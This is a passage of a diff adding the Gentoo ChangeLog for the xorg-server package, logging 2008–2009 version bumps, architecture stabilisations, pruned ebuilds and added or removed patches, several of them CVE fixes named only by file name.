+  +xorg-server-1.5.3-r7.ebuild, +xorg-server-1.6.1.901-r4.ebuild:
+  Apply fix for binary driver collision. Per bug #274959.
+
+  28 May 2009; Raúl Porcel <armin76@gentoo.org>
+  xorg-server-1.5.3-r6.ebuild, xorg-server-1.6.1.901-r2.ebuild,
+  xorg-server-1.6.1.901-r3.ebuild:
+  Add ~alpha
+
+  27 May 2009; Raúl Porcel <armin76@gentoo.org>
+  xorg-server-1.5.3-r6.ebuild:
+  ia64/sh/sparc stable wrt #269950
+
+  25 May 2009; Jeroen Roovers <jer@gentoo.org> xorg-server-1.5.3-r6.ebuild:
+  Stable for HPPA (bug #269950).
+
+  25 May 2009; Rémi Cardona <remi@gentoo.org> -xorg-server-1.5.3-r4.ebuild,
+  -xorg-server-1.6.1.901.ebuild, -xorg-server-1.6.1.901-r1.ebuild:
+  prune old versions
+
+*xorg-server-1.6.1.901-r3 (25 May 2009)
+
+  25 May 2009; Rémi Cardona <remi@gentoo.org>
+  +xorg-server-1.6.1.901-r3.ebuild:
+  add 2 more patches from upstream's 1.6 branch
+
+  24 May 2009; Markus Meier <maekke@gentoo.org> xorg-server-1.5.3-r6.ebuild:
+  amd64 stable, bug #269950
+
+*xorg-server-1.6.1.901-r2 (22 May 2009)
+
+  22 May 2009; Rémi Cardona <remi@gentoo.org>
+  +xorg-server-1.6.1.901-r2.ebuild:
+  don't change the font path, the default is perfectly fine now (should fix
+  bug #264054)
+
+  22 May 2009; Christian Faulhammer <fauli@gentoo.org>
+  xorg-server-1.5.3-r6.ebuild:
+  stable x86, bug 269950
+
+  20 May 2009; Brent Baude <ranger@gentoo.org> xorg-server-1.5.3-r6.ebuild:
+  Marking xorg-server-1.5.3-r6 ppc64 and ppc for bug 269950
+
+  20 May 2009; Rémi Cardona <remi@gentoo.org> xorg-server-1.6.1.901.ebuild,
+  xorg-server-1.6.1.901-r1.ebuild:
+  drop 3dfx USE flag from 1.6, there's no reason for the server to do that,
+  xf86-video-tdfx will PDEPEND on glide instead
+
+*xorg-server-1.6.1.901-r1 (17 May 2009)
+
+  17 May 2009; Rémi Cardona <remi@gentoo.org>
+  +xorg-server-1.6.1.901-r1.ebuild:
+  add patches nominated for the 1.6 branch
+
+*xorg-server-1.6.1.901 (16 May 2009)
+
+  16 May 2009; Rémi Cardona <remi@gentoo.org>
+  +xorg-server-1.6.1.901.ebuild:
+  bump to 1.6.1.901 with patches from the upcoming 1.6.2
+
+  15 May 2009; Raúl Porcel <armin76@gentoo.org>
+  xorg-server-1.5.3-r6.ebuild:
+  arm stable
+
+  13 May 2009; Rémi Cardona <remi@gentoo.org>
+  xorg-server-1.3.0.0-r6.ebuild, xorg-server-1.4.2.ebuild:
+  drop XPrint support from 1.3 and 1.4, no-one missed it in 1.5 and dropping
+  it in the older servers will help with portage-wide clean-ups
+
+  10 May 2009; Rémi Cardona <remi@gentoo.org> xorg-server-1.5.3-r5.ebuild,
+  xorg-server-1.5.3-r6.ebuild:
+  add x11-apps/xkbcomp to RDEPEND, fixes bug #265480
+
+*xorg-server-1.5.3-r6 (07 May 2009)
+
+  07 May 2009; Rémi Cardona <remi@gentoo.org> +xorg-server-1.5.3-r6.ebuild:
+  rewrite the complete git history in the patchball, add more patches from
+  upstream's 1.5 branch, add 2 patches to fix a cross-compile bug (see bug
+  #263679)
+
+  05 May 2009; Rémi Cardona <remi@gentoo.org>
+  xorg-server-1.3.0.0-r6.ebuild:
+  drop x11-misc/xkbdata support (see bug #196650)
+
+  05 May 2009; Rémi Cardona <remi@gentoo.org> xorg-server-1.4.2.ebuild,
+  xorg-server-1.5.3-r4.ebuild, xorg-server-1.5.3-r5.ebuild:
+  hard-disable dtrace support (fixes bug #263274)
+
+  16 Apr 2009; Jeroen Roovers <jer@gentoo.org> xorg-server-1.5.3-r5.ebuild:
+  Stable for HPPA (bug #251832).
+
+  16 Apr 2009; Gordon Malm <gengor@gentoo.org> xorg-server-1.4.2.ebuild,
+  xorg-server-1.5.3-r4.ebuild, xorg-server-1.5.3-r5.ebuild:
+  Filter SSP when building with <GCC4 on x86 only, bug #244352
+
+  15 Apr 2009; Gordon Malm <gengor@gentoo.org> xorg-server-1.4.2.ebuild,
+  xorg-server-1.5.3-r4.ebuild, xorg-server-1.5.3-r5.ebuild:
+  Filter SSP when building with <GCC4, bug #244352
+
+  15 Apr 2009; Raúl Porcel <armin76@gentoo.org>
+  xorg-server-1.5.3-r5.ebuild:
+  ia64/sh stable wrt #251832
+
+  07 Apr 2009; Rémi Cardona <remi@gentoo.org> -xorg-server-1.5.2.ebuild,
+  -xorg-server-1.5.3.ebuild, -xorg-server-1.5.3-r1.ebuild,
+  -xorg-server-1.5.3-r2.ebuild, -xorg-server-1.5.3-r3.ebuild:
+  prune older versions
+
+  06 Apr 2009; Friedrich Oslage <bluebird@gentoo.org>
+  xorg-server-1.5.3-r5.ebuild:
+  Stable on sparc, bug #251832
+
+  05 Apr 2009; Markus Meier <maekke@gentoo.org> xorg-server-1.5.3-r5.ebuild:
+  x86 stable, bug #251832
+
+  05 Apr 2009; Olivier Crête <tester@gentoo.org>
+  xorg-server-1.5.3-r5.ebuild:
+  Stable on amd64, bug #251832
+
+  03 Apr 2009; Brent Baude <ranger@gentoo.org> xorg-server-1.5.3-r5.ebuild:
+  Marking xorg-server-1.5.3-r5 ppc64 stable for bug 251832
+
+  03 Apr 2009; Brent Baude <ranger@gentoo.org> xorg-server-1.5.3-r5.ebuild:
+  Marking xorg-server-1.5.3-r5 ppc stable for bug 251832
+
+  19 Mar 2009; <solar@gentoo.org> xorg-server-1.5.3-r5.ebuild:
+  - tie in the libXCalibrate to wrap up xtscal support when tslib is enabled
+
+*xorg-server-1.5.3-r5 (16 Mar 2009)
+
+  16 Mar 2009; Rémi Cardona <remi@gentoo.org> +xorg-server-1.5.3-r5.ebuild:
+  backport patches to fix useless freetype error message (bug #261934) and
+  to always put the console into RAW mode (evdev related, bug #260700)
+
+  12 Mar 2009; Raúl Porcel <armin76@gentoo.org>
+  xorg-server-1.5.3-r4.ebuild:
+  Add ~arm/~sh
+
+*xorg-server-1.5.3-r4 (11 Mar 2009)
+
+  11 Mar 2009; Rémi Cardona <remi@gentoo.org> +xorg-server-1.5.3-r4.ebuild:
+  add a patch to fix xfs (bug #236847), remove unsupported video cards (bug
+  #261799)
+
+  11 Mar 2009; Markus Ullmann <jokey@gentoo.org>
+  xorg-server-1.5.3-r3.ebuild:
+  Add virtualbox use_expand for bug #238848
+
+*xorg-server-1.5.3-r3 (07 Mar 2009)
+
+  07 Mar 2009; Rémi Cardona <remi@gentoo.org> +xorg-server-1.5.3-r3.ebuild:
+  add patches to allow building with libXfont 1.4
+
+  02 Mar 2009; Peter Volkov <pva@gentoo.org> xorg-server-1.5.3-r2.ebuild:
+  newport works on mips, no need to block with it.
+
+  23 Feb 2009; Joshua Kinard <kumba@gentoo.org> xorg-server-1.5.3-r2.ebuild:
+  Added ~mips to KEYWORDS for #237411
+
+  19 Feb 2009; Rémi Cardona <remi@gentoo.org> xorg-server-1.5.3-r2.ebuild:
+  drop liblbxutil dep, there are no references to it in the sources
+
+*xorg-server-1.5.3-r2 (05 Feb 2009)
+
+  05 Feb 2009; Rémi Cardona <remi@gentoo.org> +xorg-server-1.5.3-r2.ebuild:
+  bump to patchset 4 which fixes a screensaver bug, a xinerama bug (bug
+  #18668) and hopefully bitmap fonts as well (bugs #257206 and #255082),
+  drop --with-default-font-path as 'built-ins' is always appended internally
+  (patch #60)
+
+  25 Jan 2009; Rémi Cardona <remi@gentoo.org> xorg-server-1.5.3-r1.ebuild:
+  silently update the patch-ball to 03 to fix bug #19691
+
+*xorg-server-1.5.3-r1 (13 Jan 2009)
+
+  13 Jan 2009; Rémi Cardona <remi@gentoo.org> +xorg-server-1.5.3-r1.ebuild:
+  include patches from upstream's server-1.5-branch and backport more EXA
+  fixes (including one for bug #251242)
+
+  16 Dec 2008; Brent Baude <ranger@gentoo.org> xorg-server-1.5.3.ebuild:
+  Marking xorg-server-1.5.3 ~ppc64 for bug 237411
+
+  16 Dec 2008; Jeroen Roovers <jer@gentoo.org> xorg-server-1.5.3.ebuild:
+  Marked ~hppa (bug #237411).
+
+  15 Dec 2008; Rémi Cardona <remi@gentoo.org> xorg-server-1.5.3.ebuild:
+  bump xkeyboard-config dep to 1.4, first version to provide the evdev
+  ruleset (thanks to Sven Köhler)
+
+*xorg-server-1.5.3 (15 Dec 2008)
+
+  15 Dec 2008; Rémi Cardona <remi@gentoo.org>
+  +files/1.5.3-builtin-fonts.patch, +xorg-server-1.5.3.ebuild:
+  bump to 1.5.3 with a monster EXA backport from git master
+
+  13 Dec 2008; Doug Goldstein <cardoe@gentoo.org> xorg-server-1.4.2.ebuild,
+  xorg-server-1.5.2.ebuild:
+  each nvidia-drivers pkg now specifies what Xorg version it's compatible
+  with. Just pull in the best nvidia-drivers version possible now.
+
+  19 Nov 2008; Luca Barbato <lu_zero@gentoo.org> xorg-server-1.5.2.ebuild:
+  ati-drivers now support xorg 1.5
+
+  02 Nov 2008; Ryan Hill <dirtyepic@gentoo.org> metadata.xml:
+  Tweak tslib flag descrip.
+
+  01 Nov 2008; <solar@gentoo.org> metadata.xml, xorg-server-1.4.2.ebuild,
+  xorg-server-1.5.2.ebuild:
+  - add local tslib support
+
+  26 Oct 2008; Rémi Cardona <remi@gentoo.org>
+  +files/1.5.2-fix-xvesa-with-new-kernels.patch, xorg-server-1.5.2.ebuild:
+  add patch to fix KDrive's Xvesa build (fixes bug #235789)
+
+  22 Oct 2008; Rémi Cardona <remi@gentoo.org>
+  xorg-server-1.3.0.0-r6.ebuild, xorg-server-1.4.2.ebuild,
+  xorg-server-1.5.2.ebuild:
+  pkgmove from xf86-video-i810 to xf86-video-intel
+
+  21 Oct 2008; Rémi Cardona <remi@gentoo.org> xorg-server-1.5.2.ebuild:
+  patch has been sent upstream, updating ebuild to reflect that
+
+  18 Oct 2008; Rémi Cardona <remi@gentoo.org>
+  -files/1.5.2-force-LANG-C-when-running-awk-due-to-unintended-erro.patch,
+  +files/1.5.2-force-LC_ALL-C-when-running-awk.patch,
+  xorg-server-1.5.2.ebuild:
+  another patch to fix bug #237119
+
+  17 Oct 2008; Rémi Cardona <remi@gentoo.org>
+  +files/1.5.2-force-LANG-C-when-running-awk-due-to-unintended-erro.patch,
+  xorg-server-1.5.2.ebuild:
+  add patch to fix build issue with some locales (see bug #237119)
+
+  14 Oct 2008; Donnie Berkholz <dberkholz@gentoo.org>;
+  -xorg-server-1.3.0.0-r4.ebuild, -xorg-server-1.3.0.0-r5.ebuild,
+  xorg-server-1.3.0.0-r6.ebuild, -xorg-server-1.4.0.90-r3.ebuild,
+  -xorg-server-1.4.99.902.ebuild, -xorg-server-1.4.99.905.ebuild,
+  -xorg-server-1.4.99.906.ebuild, -xorg-server-1.5.0.ebuild,
+  -xorg-server-1.5.1.ebuild:
+  Clean up old ebuilds.
+
+  14 Oct 2008; Donnie Berkholz <dberkholz@gentoo.org>;
+  xorg-server-1.5.2.ebuild:
+  Update a few dependencies. Require at least evdev 2.0.6, mutouch 1.2.1,
+  xtrans 1.2.2.
+
+*xorg-server-1.5.2 (14 Oct 2008)
+
+  14 Oct 2008; Donnie Berkholz <dberkholz@gentoo.org>;
+  +xorg-server-1.5.2.ebuild:
+  Version bump.
+
+  03 Oct 2008; Raúl Porcel <armin76@gentoo.org> xorg-server-1.5.1.ebuild:
+  Add ~ia64 wrt #237411
+
+*xorg-server-1.5.1 (29 Sep 2008)
+
+  29 Sep 2008; Donnie Berkholz <dberkholz@gentoo.org>;
+  +files/1.5.1/0001-only-build-dri2-when-DRI2-is-enabled.patch,
+  +xorg-server-1.5.1.ebuild:
+  (#238841) Version bump. (#236900) Re-enable XTrap and Record extensions
+  except when USE=minimal.
+
+  24 Sep 2008; Alexis Ballier <aballier@gentoo.org>
+  xorg-server-1.5.0.ebuild:
+  keyword ~x86-fbsd
+
+  23 Sep 2008; Markus Rothe <corsair@gentoo.org> xorg-server-1.5.0.ebuild:
+  Added ~ppc
+
+  15 Sep 2008; Donnie Berkholz <dberkholz@gentoo.org>;
+  xorg-server-1.5.0.ebuild:
+  (#237411) Add VIDEO_CARDS=ast to IUSE.
+
+  14 Sep 2008; Friedrich Oslage <bluebird@gentoo.org>
+  xorg-server-1.5.0.ebuild:
+  Add ~sparc keyword, bug #237411
+
+  07 Sep 2008; Carsten Lohrke <carlo@gentoo.org> metadata.xml:
+  Fix a typo.
+
+  06 Sep 2008; <chainsaw@gentoo.org> xorg-server-1.5.0.ebuild:
+  Only depend on x11-drivers/xf86-input-synaptics as the older package does
+  not build against this new server. Closes bug #236870 by Seemant Kulleen
+  <seemant_g2@kulleen.org>.
+
+*xorg-server-1.5.0 (06 Sep 2008)
+
+  06 Sep 2008; Donnie Berkholz <dberkholz@gentoo.org>;
+  +xorg-server-1.5.0.ebuild:
+  Version bump.
+
+  05 Aug 2008; Doug Goldstein <cardoe@gentoo.org> metadata.xml:
+  add GLEP 56 USE flag desc from use.local.desc
+
+*xorg-server-1.4.99.906 (26 Jul 2008)
+
+  26 Jul 2008; Donnie Berkholz <dberkholz@gentoo.org>;
+  +xorg-server-1.4.99.906.ebuild:
+  Bump, keyword ~x86.
+
+  05 Jul 2008; Donnie Berkholz <dberkholz@gentoo.org>;
+  xorg-server-1.4.99.905.ebuild:
+  Update dependencies to the new versions I bumped yesterday.
+
+*xorg-server-1.4.99.905 (01 Jul 2008)
+
+  01 Jul 2008; Donnie Berkholz <dberkholz@gentoo.org>;
+  +xorg-server-1.4.99.905.ebuild:
+  Bump to the latest RC.
+
+  27 Jun 2008; Donnie Berkholz <dberkholz@gentoo.org>;
+  -files/1.4.2-unbreak-endianess.patch, xorg-server-1.4.2.ebuild:
+  (#227821) Remove patch because ati 6.9 driver appears to work fine without
+  it and breaks with it. If anyone wants to revert this, please discuss it
+  on the bug in advance.
+
+  27 Jun 2008; Donnie Berkholz <dberkholz@gentoo.org>;
+  xorg-server-1.4.2.ebuild, xorg-server-1.4.99.902.ebuild:
+  Update deps related to xf86-video-ati split out of mach64/r128 drivers.
+  Pull in the latest versions of each.
+
+  24 Jun 2008; <chainsaw@gentoo.org> xorg-server-1.4.99.902.ebuild:
+  As of 173.14.09 we can stop blocking the nVidia proprietary drivers for
+  the 1.5 pre-release. Closes bug #226151 by Chris Gianelloni
+  <wolf31o2@gentoo.org>.
+
+  17 Jun 2008; Hanno Boeck <hanno@gentoo.org> xorg-server-1.4.99.902.ebuild:
+  Lower pixman dep, pixman 0.11 has many issues.
+
+  15 Jun 2008; Jeroen Roovers <jer@gentoo.org>
+  xorg-server-1.3.0.0-r6.ebuild:
+  Stable for HPPA (bug #225419).
+
+  15 Jun 2008; Luca Barbato <lu_zero@gentoo.org>
+  +files/1.4.2-unbreak-endianess.patch, xorg-server-1.4.2.ebuild:
+  Make xorg-server build again on ppc
+
+  13 Jun 2008; Donnie Berkholz <dberkholz@gentoo.org>;
+  xorg-server-1.4.2.ebuild:
+  void driver must be at least 1.1.1.
+
+  13 Jun 2008; Steve Dibb <beandog@gentoo.org>
+  xorg-server-1.3.0.0-r6.ebuild:
+  amd64 stable, bug 225419
+
+  13 Jun 2008; Tobias Scherbaum <dertobi123@gentoo.org>
+  xorg-server-1.3.0.0-r6.ebuild:
+  ppc stable, bug #225419
+
+  11 Jun 2008; Donnie Berkholz <dberkholz@gentoo.org>;
+  -files/1.4.0.90/0004-Config-D-Bus-Don-t-leak-timers.patch,
+  -files/1.4.0.90/0006-OS-Don-t-leak-connection-translation-table-on-regen.p
+  atch, -files/1.4.0.90/0012-Xephyr-One-time-keyboard-leak-fix.patch,
+  -files/1.4.0.90/0002-bgPixel-unsigned-long-is-64-bit-on-x86_64-so-1.patch,
+  -files/1.4.0.90/0013-Fix-for-CVE-2007-5760-XFree86-Misc-extension-out-o.pa
+  tch,
+  -files/1.4.0.90/0005-Config-HAL-Don-t-leak-options-on-failure-to-add-de.pa
+  tch,
+  -files/1.4.0.90/0018-Fix-for-CVE-2007-5958-File-existence-disclosure.patch
+  ,
+  -files/1.4.0.90/0007-KDrive-Xephyr-Don-t-leak-screen-damage-structure.patc
+  h,
+  -files/1.4.0.90/0015-Fix-for-CVE-2007-6427-Xinput-extension-memory-corr.pa
+  tch,
+  -files/1.4.0.90/0014-Fix-for-CVE-2007-6428-TOG-cup-extension-memory-cor.pa
+  tch,
+  -files/1.4.0.90/0019-CVE-2007-6429-Don-t-spuriously-reject-8bpp-shm-pix.pa
+  tch,
+  -files/1.4.0.90/0016-Fix-for-CVE-2007-6429-MIT-SHM-and-EVI-extensions-i.pa
+  tch,
+  -files/1.4.0.90/0017-Fix-for-CVE-2008-0006-PCF-Font-parser-buffer-overf.pa
+  tch,
+  -files/1.4.0.90/0040-Bug-10324-dix-Add-scaling-of-X-and-Y-on-the-repo.patc
+  h,
+  -files/1.4.0.90/0001-Bug-13308-Verify-and-reject-obviously-broken-modes.pa
+  tch, -files/1.4.0.90/0003-Xprint-Clean-up-generated-files.patch,
+  -files/1.4.0.90/0008-Input-Don-t-reinit-devices.patch,
+  -files/1.4.0.90/0009-include-never-overwrite-realInputProc-with-enqueueI.p
+  atch, -files/1.4.0.90/0010-OS-IO-Zero-out-client-buffers.patch,
+  -files/1.4.0.90/0011-XKB-XkbCopyKeymap-Don-t-leak-all-the-sections.patch,
+  -files/1.4.0.90/0020-dix-set-the-correct-number-of-valuators-in-valuator.p
+  atch,
+  -files/1.4.0.90/0041-dix-Skip-call-to-clipAxis-for-relative-core-events.pa
+  tch,
+  -files/1.4.0.90/0021-xkb-don-t-update-LEDs-if-they-don-t-exist.-Bug-13.pat
+  ch,
+  -files/1.4.0.90/0042-dix-Move-motion-history-update-until-after-screen-c.p
+  atch,
+  -files/1.4.0.90/0022-security-Fix-for-Bug-14480-untrusted-access-broke.pat
+  ch,
+  -files/1.4.0.90/0023-Resize-composite-overlay-window-when-the-root-window.
+  patch,
+  -files/1.4.0.90/0024-Fix-rotation-for-multi-monitor-situation.patch,
+  -files/1.4.0.90/0025-Don-t-break-grab-and-focus-state-for-a-window-when-r.
+  patch, -files/1.4.0.90/0043-XKB-Actually-explain-keymap-failures.patch,
+  -files/1.4.0.90/0026-CVE-2007-6429-Always-test-for-size-offset-wrapping.pa
+  tch,
+  -files/1.4.0.90/0027-Fix-context-sharing-between-direct-indirect-contexts.
+  patch,
+  -files/1.4.0.90/0028-Add-some-more-support-for-DragonFly.-From-Joerg-Sonn.
+  patch, -files/1.4.0.90/0029-configure.ac-DragonFly-BSD-support.patch,
+  -files/1.4.0.90/0044-kdrive-allow-disabling-Composite.patch,
+  -files/1.4.0.90/0030-Fixed-configure.ac-for-autoconf-2.62.patch,
+  -files/1.4.0.90/0031-EXA-Fix-off-by-one-in-polyline-drawing.patch,
+  -files/1.4.0.90/0032-XKB-Fix-processInputProc-wrapping.patch,
+  -files/1.4.0.90/0045-When-XKB-fails-to-open-rules-file-log-the-file-name.p
+  atch,
+  -files/1.4.0.90/0033-xfree86-fix-AlwaysCore-handling.-Bug-14256.patch,
+  -files/1.4.0.90/0034-Ignore-not-just-block-SIGALRM-around-Popen-Pcl.patch,
+  -files/1.4.0.90/0035-Fix-build-on-FreeBSD-after-Popen-changes.patch,
+  -files/1.4.0.90/0036-So-like-checking-return-codes-of-system-calls-sig.pat
+  ch,
+  -files/1.4.0.90/0037-Check-for-sys-sdt.h-as-well-when-determining-to-en.pa
+  tch,
+  -files/1.4.0.90/0038-dix-Always-add-valuator-information-if-present.patch,
+  -files/1.4.0.90/0046-dmx-fix-build-by-adding-New-Delete-InputDeviceRequ.pa
+  tch,
+  -files/1.4.0.90/0039-Bug-10324-dix-Allow-arbitrary-value-ranges-in-Ge.patc
+  h, -files/1.4.0.90/0047-dmx-link-in-XSERVER_LIBS.patch,
+  -files/1.4.0.90/0048-xephyr-fix-linking-by-adding-pixman-and-using-XSERV.p
+  atch,
+  -files/1.4.0.90/0049-xprint-fix-build-by-adding-New-Delete-InputDeviceR.pa
+  tch,
+  -files/1.4.0.90/0050-xprint-fix-linking-by-including-XSERVER_LIBS.patch,
+  -files/1.4.0.90/0051-Fix-RandR-1.2-driver-interface-conversion-of-two-col.
+  patch,
+  -files/1.4.0.90/0052-Fix-overly-restrictive-integer-overflow-check-in-EXA.
+  patch, -files/1.4.0.90/0053-Fix-hal-shutdown-crash.patch,
+  -files/1.4.0.90/0054-Bump-DEFAULT_DPI-to-96.patch,
+  -files/1.4.0.90/0055-Bug-13962-Re-arm-the-DPMS-timer-when-re-enabling-D.pa
+  tch,
+  -files/1.4.0.90/0056-Prevent-the-wm-command-line-option-from-causing-a-S.p
+  atch,
+  -files/1.4.0.90/0057-EXA-Skip-empty-glyphs.-cherry-picked-from-commit-c.pa
+  tch,
+  -files/1.4.0.90/0058-xf86-Add-AutoConfig-driver-for-PCI-ID-1022-2081-to.pa
+  tch,
+  -files/1.4.0.90/0059-xkb-when-copying-the-keymap-make-sure-the-structs.pat
+  ch, -xorg-server-1.4.0.90-r4.ebuild:
+  This had pretty much the same patches that are in 1.4.2.
+
+  11 Jun 2008; Brent Baude <ranger@gentoo.org>
+  xorg-server-1.3.0.0-r6.ebuild:
+  Marking xorg-server-1.3.0.0-r6 ppc64 for bug 225419
+
+  11 Jun 2008; Donnie Berkholz <dberkholz@gentoo.org>;
+  xorg-server-1.3.0.0-r6.ebuild:
+  (#225419) Tested for stable on the bug.
+
+*xorg-server-1.4.2 (11 Jun 2008)
+*xorg-server-1.3.0.0-r6 (11 Jun 2008)
+
+  11 Jun 2008; Donnie Berkholz <dberkholz@gentoo.org>;
+  +files/xorg-xserver-1.4-cve-2008-1377.diff,
+  +files/xorg-xserver-1.4-cve-2008-2360.diff,
+  +files/xorg-xserver-1.4-cve-2008-1379.diff,
+  +files/xorg-xserver-1.4-cve-2008-2361.diff,
+  +files/xorg-xserver-1.4-cve-2008-2362.diff,
+  +xorg-server-1.3.0.0-r6.ebuild, +xorg-server-1.4.2.ebuild:
+  (#225419) Security bump. Local root vulnerability, or must be already
+  authenticated to access X remotely (via xauth, xhost, etc.). The 1.4.x
+  series bump also contains large quantities of other bugfixes and will be a
+  stable candidate in 30 days.
+
+*xorg-server-1.4.99.902 (10 Jun 2008)
+
+  10 Jun 2008; Donnie Berkholz <dberkholz@gentoo.org>;
+  +xorg-server-1.4.99.902.ebuild:
+  Bump to 1.5 RC. Dropped keywords because of the move to libpciaccess. I'm
+  almost positive it's broken on alpha
+  <https://bugs.freedesktop.org/show_bug.cgi?id=15169>. Other less
+  mainstream architectures also need testing and filing of bugs at
+  bugs.freedesktop.org in the xorg product.
+
+  21 May 2008; Donnie Berkholz <dberkholz@gentoo.org>;
+  xorg-server-1.4.0.90-r3.ebuild, xorg-server-1.4.0.90-r4.ebuild:
+  (#222683) Make sure libxf86config gets built PIC by always setting
+  SNAPSHOT=yes.
+
+  19 May 2008; Donnie Berkholz <dberkholz@gentoo.org>;
+  -files/1.4.0.90/0038-dmx-fix-build-by-adding-New-Delete-InputDeviceRequ.pa
+  tch, -files/1.4.0.90/0039-dmx-link-in-XSERVER_LIBS.patch,
+  -files/1.4.0.90/0040-xephyr-fix-linking-by-adding-pixman-and-using-XSERV.p
+  atch,
+  -files/1.4.0.90/0041-xprint-fix-build-by-adding-New-Delete-InputDeviceR.pa
+  tch,
+  -files/1.4.0.90/0042-xprint-fix-linking-by-including-XSERVER_LIBS.patch,
+  -files/1.4.0.90/0043-Fix-RandR-1.2-driver-interface-conversion-of-two-col.
+  patch,
+  -files/1.4.0.90/0044-Fix-overly-restrictive-integer-overflow-check-in-EXA.
+  patch, +files/1.4.0.90/0044-kdrive-allow-disabling-Composite.patch,
+  +files/1.4.0.90/0045-When-XKB-fails-to-open-rules-file-log-the-file-name.p
+  atch,
+  +files/1.4.0.90/0046-dmx-fix-build-by-adding-New-Delete-InputDeviceRequ.pa
+  tch, +files/1.4.0.90/0047-dmx-link-in-XSERVER_LIBS.patch,
+  +files/1.4.0.90/0048-xephyr-fix-linking-by-adding-pixman-and-using-XSERV.p
+  atch,
+  +files/1.4.0.90/0049-xprint-fix-build-by-adding-New-Delete-InputDeviceR.pa
+  tch,
+  +files/1.4.0.90/0050-xprint-fix-linking-by-including-XSERVER_LIBS.patch,
+  +files/1.4.0.90/0051-Fix-RandR-1.2-driver-interface-conversion-of-two-col.
+  patch,
+  +files/1.4.0.90/0052-Fix-overly-restrictive-integer-overflow-check-in-EXA.
+  patch, +files/1.4.0.90/0053-Fix-hal-shutdown-crash.patch,
+  +files/1.4.0.90/0054-Bump-DEFAULT_DPI-to-96.patch,
+  +files/1.4.0.90/0055-Bug-13962-Re-arm-the-DPMS-timer-when-re-enabling-D.pa
+  tch,
+  +files/1.4.0.90/0056-Prevent-the-wm-command-line-option-from-causing-a-S.p
+  atch,
+  +files/1.4.0.90/0057-EXA-Skip-empty-glyphs.-cherry-picked-from-commit-c.pa
+  tch,
+  +files/1.4.0.90/0058-xf86-Add-AutoConfig-driver-for-PCI-ID-1022-2081-to.pa
+  tch,
+  +files/1.4.0.90/0059-xkb-when-copying-the-keymap-make-sure-the-structs.pat
+  ch:
+  Update 1.4.0.90 patches to latest in server-1.4-branch, which incorporates
+  all the Gentoo build/link fixes.
+
+  10 May 2008; Donnie Berkholz <dberkholz@gentoo.org>;
+  +files/1.4.0.90/0038-dmx-fix-build-by-adding-New-Delete-InputDeviceRequ.pa
+  tch, +files/1.4.0.90/0039-dmx-link-in-XSERVER_LIBS.patch,
+  +files/1.4.0.90/0040-xephyr-fix-linking-by-adding-pixman-and-using-XSERV.p
+  atch,
+  +files/1.4.0.90/0041-xprint-fix-build-by-adding-New-Delete-InputDeviceR.pa
+  tch,
+  +files/1.4.0.90/0043-Fix-RandR-1.2-driver-interface-conversion-of-two-col.
+  patch,
+  +files/1.4.0.90/0042-xprint-fix-linking-by-including-XSERVER_LIBS.patch,
+  +files/1.4.0.90/0044-Fix-overly-restrictive-integer-overflow-check-in-EXA.
+  patch, xorg-server-1.4.0.90-r4.ebuild:
+  Add patches in my 'server-1.4-branch-gentoo' branch that I've submitted
+  upstream and am waiting for them to take.
+
+  09 May 2008; Donnie Berkholz <dberkholz@gentoo.org>;
+  xorg-server-1.4.0.90-r4.ebuild:
+  (#214233) Require wacom 0.7.9 or newer to fix crashes on startup.
+
+  09 May 2008; Mart Raudsepp <leio@gentoo.org>
+  xorg-server-1.4.0.90-r3.ebuild, xorg-server-1.4.0.90-r4.ebuild:
+  Adapt with xf86-video-amd to xf86-video-geode move.
+
+*xorg-server-1.4.0.90-r4 (08 May 2008)
+
+  08 May 2008; Donnie Berkholz <dberkholz@gentoo.org>;
+  +files/1.4.0.90/0004-Config-D-Bus-Don-t-leak-timers.patch,
+  +files/1.4.0.90/0006-OS-Don-t-leak-connection-translation-table-on-regen.p
+  atch, +files/1.4.0.90/0012-Xephyr-One-time-keyboard-leak-fix.patch,
+  +files/1.4.0.90/0002-bgPixel-unsigned-long-is-64-bit-on-x86_64-so-1.patch,
+  +files/1.4.0.90/0013-Fix-for-CVE-2007-5760-XFree86-Misc-extension-out-o.pa
+  tch,
+  +files/1.4.0.90/0005-Config-HAL-Don-t-leak-options-on-failure-to-add-de.pa
+  tch,
+  +files/1.4.0.90/0018-Fix-for-CVE-2007-5958-File-existence-disclosure.patch
+  ,
+  +files/1.4.0.90/0007-KDrive-Xephyr-Don-t-leak-screen-damage-structure.patc
+  h,
+  +files/1.4.0.90/0015-Fix-for-CVE-2007-6427-Xinput-extension-memory-corr.pa
+  tch,
+  +files/1.4.0.90/0001-Bug-13308-Verify-and-reject-obviously-broken-modes.pa
+  tch, +files/1.4.0.90/0003-Xprint-Clean-up-generated-files.patch,
+  +files/1.4.0.90/0008-Input-Don-t-reinit-devices.patch,
+  +files/1.4.0.90/0009-include-never-overwrite-realInputProc-with-enqueueI.p
+  atch, +files/1.4.0.90/0010-OS-IO-Zero-out-client-buffers.patch,
+  +files/1.4.0.90/0011-XKB-XkbCopyKeymap-Don-t-leak-all-the-sections.patch,
+  +files/1.4.0.90/0042-dix-Move-motion-history-update-until-after-screen-c.p
+  atch,
+  +files/1.4.0.90/0014-Fix-for-CVE-2007-6428-TOG-cup-extension-memory-cor.pa
+  tch,
+  +files/1.4.0.90/0019-CVE-2007-6429-Don-t-spuriously-reject-8bpp-shm-pix.pa
+  tch,
+  +files/1.4.0.90/0016-Fix-for-CVE-2007-6429-MIT-SHM-and-EVI-extensions-i.pa
+  tch, +files/1.4.0.90/0043-XKB-Actually-explain-keymap-failures.patch,
+  +files/1.4.0.90/0017-Fix-for-CVE-2008-0006-PCF-Font-parser-buffer-overf.pa
+  tch,
+  +files/1.4.0.90/0040-Bug-10324-dix-Add-scaling-of-X-and-Y-on-the-repo.patc
+  h,
+  +files/1.4.0.90/0020-dix-set-the-correct-number-of-valuators-in-valuator.p
+  atch,
+  +files/1.4.0.90/0041-dix-Skip-call-to-clipAxis-for-relative-core-events.pa
+  tch,
+  +files/1.4.0.90/0021-xkb-don-t-update-LEDs-if-they-don-t-exist.-Bug-13.pat
+  ch,
+  +files/1.4.0.90/0022-security-Fix-for-Bug-14480-untrusted-access-broke.pat
+  ch,
+  +files/1.4.0.90/0023-Resize-composite-overlay-window-when-the-root-window.
+  patch,
+  +files/1.4.0.90/0024-Fix-rotation-for-multi-monitor-situation.patch,
+  +files/1.4.0.90/0025-Don-t-break-grab-and-focus-state-for-a-window-when-r.
+  patch,
+  +files/1.4.0.90/0026-CVE-2007-6429-Always-test-for-size-offset-wrapping.pa
+  tch,
+  +files/1.4.0.90/0027-Fix-context-sharing-between-direct-indirect-contexts.
+  patch,
